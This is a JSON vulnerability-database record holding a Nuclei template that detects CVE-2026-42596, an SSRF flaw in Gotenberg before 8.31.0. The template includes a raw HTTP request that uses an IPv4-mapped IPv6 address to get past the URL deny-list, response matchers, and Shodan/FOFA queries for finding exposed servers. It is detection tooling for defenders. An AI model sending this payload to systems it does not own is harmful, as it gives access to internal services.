{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-42596/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-42596/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-42596/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-42596/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-42596/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-42596"},"sightings":{"href":"/api/v1/sightings/cve-2026-42596"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-42596.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-42596\n\ninfo:\n  name: Gotenberg < 8.31.0 - Server-Side Request Forgery\n  author: str4k3r\n  severity: critical\n  description: |\n    Gotenberg before 8.31.0 is vulnerable to server-side request forgery (SSRF) due to insufficient validation of URLs in the downloadFrom API. An unauthenticated attacker can exploit the flaw by providing specially crafted IPv4-mapped IPv6 addresses (such as http://[::ffff:127.0.0.1]) that bypass the deny-list and allow access to internal resources. Fixed versions properly recognize these addresses and prevent such requests.\n  reference:\n    - https://github.com/gotenberg/gotenberg/security/advisories/GHSA-4vmc-gm8v-m35h\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-42596\n  classification:\n    cve-id: CVE-2026-42596\n    epss-score: 0.01589\n    epss-percentile: 0.75711\n    cvss-score: 9.8\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cwe-id: CWE-918\n    cpe: cpe:2.3:a:gotenberg:gotenberg:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    verified: true\n    shodan-query: \"Gotenberg\"\n    fofa-query: \"Gotenberg\"\n  tags: cve,cve2026,gotenberg,ssrf,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /forms/libreoffice/convert HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----testBoundary\n\n        ------testBoundary\n        Content-Disposition: form-data; name=\"downloadFrom\"\n\n        [{\"url\":\"http://[::ffff:127.0.0.1]:3000/health\"}]\n        ------testBoundary--\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"No 'Content-Disposition' header from 'http://[::ffff:127.0.0.1]:3000/health'\"\n\n      - type: status\n        status:\n          - 400\n# digest: 4a0a00473045022100ea963c189a908d090201e1c5a12184adf193b87a45a782868ac0101227250d71022036fa1c411a1ff5fbf453067a42988cdb5d29c59f2b8b7c7df14aff467d0f428f:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-42596"}